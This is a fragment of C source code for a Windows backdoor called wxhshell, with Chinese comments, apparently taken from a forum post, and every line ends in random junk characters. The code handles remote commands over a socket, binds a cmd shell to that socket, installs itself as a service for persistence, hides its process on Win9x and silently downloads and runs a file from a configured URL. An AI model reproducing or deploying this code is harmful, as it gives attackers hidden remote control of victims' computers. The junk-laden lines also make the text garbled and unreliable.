      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pwn3/+"%K  
    break; l.c*, 9  
  } >weY_%a  
  // 安装 |#);^z_  
  case 'i': { mX9amS&B$  
    if(Install()) dMw0Aw,2]8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]kQ*t{\  
    else +,&8U&~`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0yhC_mI  
    break; N|OI~boV%  
    } |^^'GZ%a  
  // 卸载 _H9.A I  
  case 'r': { \YE(E04w57  
    if(Uninstall()) B 3Y,|*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]{Y >w  
    else yF-EHNNf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WleE$ ,  
    break; Nv@SpV'  
    } ]3xb Q1  
  // 显示 wxhshell 所在路径 )_eEM1  
  case 'p': { a7+w)]r  
    char svExeFile[MAX_PATH]; G=R`O1-3  
    strcpy(svExeFile,"\n\r"); ~ [ k0ay  
      strcat(svExeFile,ExeFile); ]_6w(>A@3#  
        send(wsh,svExeFile,strlen(svExeFile),0); gJEm  
    break; J3OxM--8"  
    } 1&JPyW  
  // 重启 SW!lSIk  
  case 'b': { ToWiXH)4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @kCFc}  
    if(Boot(REBOOT)) 5hN`}Ve  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ib(q9!L  
    else { +>b~nK>M  
    closesocket(wsh); DlHt#Ob7  
    ExitThread(0); [ZC{eg+D  
    } [&e|:1  
    break;  X}@^$'W  
    } f3Zm_zxj  
  // 关机 4PtRTb0<i3  
  case 'd': { I8R#EM%C#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i^SuVca  
    if(Boot(SHUTDOWN)) TYv'#{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?]wA1  
    else { I!FIV^}Z(  
    closesocket(wsh); 3K2B7loD)~  
    ExitThread(0); y:t@X~  
    } $T.u Iq  
    break; N8hiv'3  
    } I$. HG]  
  // 获取shell w$Zi'+&*  
  case 's': { vGe];  
    CmdShell(wsh); 0_F6t-  
    closesocket(wsh); q~esxp  
    ExitThread(0); Ass :  
    break; 2a=3->D&  
  } us j:I`>  
  // 退出 RLy(Wz3%  
  case 'x': { -|0nZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B bU%p  
    CloseIt(wsh); b`a4SfbQS  
    break; 05o)Q &`  
    } :G3PdQb^  
  // 离开 BC:d@  
  case 'q': { +rAmy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -;NGS )RM  
    closesocket(wsh); t6/w({}j  
    WSACleanup(); LqNt.d @  
    exit(1); H7{)"P]{f  
    break; >6Y @8 )  
        } j)G<PW  
  } lZ5LHUzP  
  } k }amSsE  
6pJFrWe{  
  // 提示信息 JXFPN|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >A5*=@7bY?  
} 0R2KI,WI  
  } |/^ KFY"  
+2:\oy}!8  
  return; 'e&L53n  
} p.wed% O.  
bwrM%BL  
// shell模块句柄 0m2%ucKw  
int CmdShell(SOCKET sock) m*bTELb  
{ / thFs4  
STARTUPINFO si; 1SAO6Wh  
ZeroMemory(&si,sizeof(si)); t QR qQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k^VL{z:EWB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 58[=.rzD  
PROCESS_INFORMATION ProcessInfo; 8dPDs#Zl  
char cmdline[]="cmd"; xG_LEk( zD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ TX1\*W  
  return 0; mafnkQU  
} Z "mqH  
DT;n)7+,  
// 自身启动模式 ;H' ,PjU  
int StartFromService(void) _*l+ze[a  
{ >H r&F nh+  
typedef struct ~ 3!yd0 [k  
{ hs;YMUA"  
  DWORD ExitStatus; :)9CG!2y<M  
  DWORD PebBaseAddress; Ew< sK9[o  
  DWORD AffinityMask; Z;ze{Vb  
  DWORD BasePriority; v(0IQ  
  ULONG UniqueProcessId; 'zJBp 9a%  
  ULONG InheritedFromUniqueProcessId; :9H`O!VF  
}   PROCESS_BASIC_INFORMATION; HNUpgNi  
i'cGB5-j  
PROCNTQSIP NtQueryInformationProcess; ]EN+^i1F[  
j.]ln}b/'+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AU$<W"%R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r+Pfq[z&  
R|m!*B~  
  HANDLE             hProcess; ;S_Imf0$v  
  PROCESS_BASIC_INFORMATION pbi; X-4(oE  
iv!;gMco  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *P01 yW0  
  if(NULL == hInst ) return 0; !We9T)e  
&gLXS1O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9kzJ5}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V3S"LJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uQhI)  
`uwSxt  
  if (!NtQueryInformationProcess) return 0; =L\&} kzB  
Kj7 ?_o{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +B '<0  
  if(!hProcess) return 0; +@^FUt=tq  
: uxJGx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sC'PtFK8z  
7VIfRN{5n  
  CloseHandle(hProcess); pP-L{bT  
?vBMx _0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *b4W+E  
if(hProcess==NULL) return 0; h.pVIO`  
{_G_YL[  
HMODULE hMod; !59,<N1Iu  
char procName[255]; Dn l|B\  
unsigned long cbNeeded; l3Qt_I)L  
^\oMsU5(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wh)>E!~ 9  
*L&|4|BF2  
  CloseHandle(hProcess); *kt|CXxAS8  
Ofc u4pi  
if(strstr(procName,"services")) return 1; // 以服务启动 3:aj8F2  
E{'Y>g B6  
  return 0; // 注册表启动 j.yh>"de  
} I{$TMkh[  
?>1wZ  
// 主模块 }vb.>hy  
int StartWxhshell(LPSTR lpCmdLine) 3V]08  
{ Nh01NY;  
  SOCKET wsl; 12V-EG i  
BOOL val=TRUE; g;7W%v5wqk  
  int port=0; ^KJi |'B  
  struct sockaddr_in door; BZa`:ah~x  
%KPQ|^WE  
  if(wscfg.ws_autoins) Install(); <Zo{D |hW  
Y 8-;eqH  
port=atoi(lpCmdLine); 3T /_#=9TV  
,:{+-v(  
if(port<=0) port=wscfg.ws_port; `k7X|  
EeQ2\'t  
  WSADATA data; ZkBWVZb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I%jlM0ZUI"  
pQ xv_4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t:P]G>)x|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <OrQbrWQa  
  door.sin_family = AF_INET; Ri3*au/Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h^YUu`P  
  door.sin_port = htons(port); y J>Bc  
F9>"1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4,&f#=Y  
closesocket(wsl); 1*f/Y9 Z  
return 1; ?jsgBol  
} JF'<""  
PB)vE  
  if(listen(wsl,2) == INVALID_SOCKET) { /vPr^Wv  
closesocket(wsl); ^SbxClUfw!  
return 1; s)+] pxV0-  
} e35")z~  
  Wxhshell(wsl); Q$5%9  
  WSACleanup(); 4WPco"xH!  
j>5X^Jd  
return 0; dpT?*qLM  
wjTW{Bg~G  
} od^o9(.W^  
lpjby[S  
// 以NT服务方式启动  zj$Ve  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~lbm^S}-  
{ DG,m;vg+  
DWORD   status = 0; Knp}88DR^j  
  DWORD   specificError = 0xfffffff; w6ck wn,  
EL6<%~,V"I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z ?ATWCa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uM[[skc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pS8`OBenA  
  serviceStatus.dwWin32ExitCode     = 0; bR J]avR  
  serviceStatus.dwServiceSpecificExitCode = 0; 6&btAwvOHx  
  serviceStatus.dwCheckPoint       = 0; Jmu oYlf|  
  serviceStatus.dwWaitHint       = 0; 5*O]`Q7  
FX+^S?x.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XUK%O8N#9  
  if (hServiceStatusHandle==0) return; %htbEKWR  
p+;x&h)[l  
status = GetLastError(); &D`$YUl@  
  if (status!=NO_ERROR) b{,vZhP-  
{ sh%%U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n*hRlL  
    serviceStatus.dwCheckPoint       = 0; f.RwV+lq  
    serviceStatus.dwWaitHint       = 0; \r}*<CRr6  
    serviceStatus.dwWin32ExitCode     = status; S/6I9zOP  
    serviceStatus.dwServiceSpecificExitCode = specificError; _mDvRFq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|<1|wGG  
    return; ;_1 >nXh  
  } gWy2E;"a  
eD N%p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xKoNo^FF  
  serviceStatus.dwCheckPoint       = 0; !e0/1 j=  
  serviceStatus.dwWaitHint       = 0; |bmc6G[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9R|B 5.  
} "HbrYYRb'  
Y0nuwX*{  
// 处理NT服务事件,比如:启动、停止 SFa^$w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jqy?Od )  
{ 4\Cb4jq%/  
switch(fdwControl) [mQ*];GA  
{ ^Cn_ ODjo  
case SERVICE_CONTROL_STOP: 7h.:XlUm|  
  serviceStatus.dwWin32ExitCode = 0; }u~r.=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y{\(|j  
  serviceStatus.dwCheckPoint   = 0; }{e7wqS$&,  
  serviceStatus.dwWaitHint     = 0; G$ Ii  
  { ]TKM.[[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k N$L8U8f  
  } ,lw<dB@7"5  
  return; XJf1LGT5  
case SERVICE_CONTROL_PAUSE: }UHoa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B9h>  
  break;   S?m4  
case SERVICE_CONTROL_CONTINUE: 0}aw9g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +luW=j0V  
  break; "O{:jfq  
case SERVICE_CONTROL_INTERROGATE: w5}2$r  
  break; HUY1nb=  
}; z/7"!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L QP4#7  
} [es-&X07<  
siGt5RH*  
// 标准应用程序主函数 &MF%zJ6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5P <  F  
{ !yX4#J(  
pmi`Er  
// 获取操作系统版本 x^ ]1m%  
OsIsNt=GetOsVer(); 7ip(-0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?28aEX_w  
4S#q06=Xe  
  // 从命令行安装 &:*|KxX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?\Z-3l%M  
y-CVyl  
  // 下载执行文件 9S[Tan|  
if(wscfg.ws_downexe) { {!vz 6QDS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w`OHNwXh#I  
  WinExec(wscfg.ws_filenam,SW_HIDE); D*#r V P  
} ] Q\/si&  
18U CZ;)>  
if(!OsIsNt) { >P\/\xL=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,b8q$ R~\  
HideProc(); Y+I`XeY  
StartWxhshell(lpCmdLine); tmI2BBv  
} YG6Kvc6T  
else - '5OX/Szq  
  if(StartFromService()) qjp<_aw  
  // 以服务方式启动 *n %J#[e(  
  StartServiceCtrlDispatcher(DispatchTable); 8TnByKZz  
else (S#4y  
  // 普通方式启动 1JoRP~mMxa  
  StartWxhshell(lpCmdLine); 3_tO  
ul$YV9 [\  
return 0; \WVrn>%xu  
}
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只看该作者 1 发表于: 2006-10-10
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